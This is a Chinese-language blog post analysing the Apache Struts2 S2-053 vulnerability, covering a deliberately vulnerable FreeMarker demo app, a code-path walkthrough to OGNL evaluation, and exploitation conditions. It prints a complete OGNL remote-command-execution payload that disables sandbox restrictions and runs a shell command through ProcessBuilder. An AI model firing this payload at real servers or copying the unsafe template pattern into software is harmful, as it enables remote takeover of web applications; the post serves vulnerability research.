Learning Man's Blog

s2-053 漏洞分析

字数统计: 823阅读时长: 4 min
2018/10/09

影响版本:

Struts 2.0.1 - Struts 2.3.33
Struts 2.5 - Struts 2.5.10

0x01 部署又见踩坑

这回漏洞主要位于struts对freemarker处理的问题

表现层技术主要有三种:jsp、freemarker、velocity

  1. idea生成maven项目,在pom.xml中添加依赖

     <dependencies>
         <dependency>
             <groupId>org.apache.struts</groupId>
             <artifactId>struts2-core</artifactId>
             <version>2.5.8</version>
         </dependency>
    
         <dependency>
             <groupId>org.freemarker</groupId>
             <artifactId>freemarker</artifactId>
             <version>2.3.28</version>
         </dependency>
     </dependencies>
  2. 将core.jar的/META-INF/struts-tags.tld拷贝到项目/WEB-INF

  3. WEB-INF/classes下创建struts.xml,内容

     <struts>
         <package name="test" extends="struts-default">
             <action name="welcome" class="first">
                 <result type="freemarker" name="success">
                     /WEB-INF/ftl/first.ftl
                 </result>
             </action>
         </package>
     </struts>
  4. 附上first.class和first.ftl

     import com.opensymphony.xwork2.ActionSupport;
    
     public class first extends ActionSupport {
         private String name="SystemUser";
    
         public String getName(){
             return name;
         }
    
         public void setName(String name){
             this.name = name;
         }
    
         @Override
         public String execute() throws Exception{
             return SUCCESS;
         }
     }
     <html>
         <head>
             <title>S2-053 Demo</title>
         </head>
         <body>
             <h1>S2-053 Demo</h1>
             <hr/>
             Your name: <@s.url value="${name}"/>
             <hr/>
             Enter your name here:<br/>
             <form action="" method="get">
                 <input type="text" name="name" value="" />
                 <input type="submit" value="Submit" />
             </form>
             <br/>
             <p>See more at: <a href="https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-053">VulApps - S2-053</a></p>
         </body>
     </html>
  5. 目录结构

0x02 分析

跟进分析

  1. action结束后,由于result-type为freemarker,进入对应类进行处理

     <result-type name="freemarker" class="org.apache.struts2.views.freemarker.FreemarkerResult"/>
  2. 新建一个进程,打印模板内容

  3. 跟进process

  4. 再跟进ObjectWrapper#process(),从根节点进行渲染

  5. 跟进visit(),这里采用深度遍历,同时渲染节点,accept()会解析节点内容,遇到表达式会跟进处理

  6. 简单跟一下accept(),如果不是自定义宏,会调用visitAndTransform对节点中的表达式进行处理

  7. 跟进几层,TransformControl会在页面跳转前对参数值进行处理,

  8. findString最后会调用findValue,在这里OGNL表达式被执行

    org.apache.struts2.components.Component#findValue(java.lang.String, java.lang.Class)

流程梳理

st=>start: 传入之后通过struts-default.xml进入org.apache.struts2.views.freemarker.FreemarkerResult
a=>operation: 通过template.process(model, writer)进行模板处理
b=>operation: 利用freemarker.core.Environment#visit(freemarker.core.TemplateElement)深度遍历节点内容,将表达式筛选出来
c=>operation: 遇到表达式会进入freemarker.core.UnifiedCall#accept解析表达式内容,TemplateModel value = valueExp.eval(env)
en=>end: 如果不是自定义宏,则进入visitAndTransform,一些列操作后执行ognl

st->a->b->c->en

调用栈信息

通过POC快速定位

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/usr/bin/touch /tmp/vuln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

注意到调用了ProcessBuilder#start(),将断点打在ProcessBuilder类的start()方法

java.lang.ProcessBuilder#start

0x03 利用条件

  1. struts使用freemarker标签
  2. 标签使用不规范,直接嵌入表达式,例如<@s.url value="${name}"/>

P.S. freemarker内置标签可看 参考资料[3][4]

##参考资料

  1. http://www.freebuf.com/vuls/147735.html
  2. https://mp.weixin.qq.com/s?__biz=MzU0NTI4MDQwMQ==&mid=2247483663&idx=1&sn=6304e1469f23c33728ab5c73692b675e
  3. https://struts.apache.org/tag-developers/freemarker-tags.html
  4. https://cwiki.apache.org/confluence/display/WW/FreeMarker
CATALOG
  1. 1. 0x01 部署又见踩坑
  2. 2. 0x02 分析
    1. 2.1. 跟进分析
    2. 2.2. 流程梳理
      1. 2.2.1. 通过POC快速定位
  3. 3. 0x03 利用条件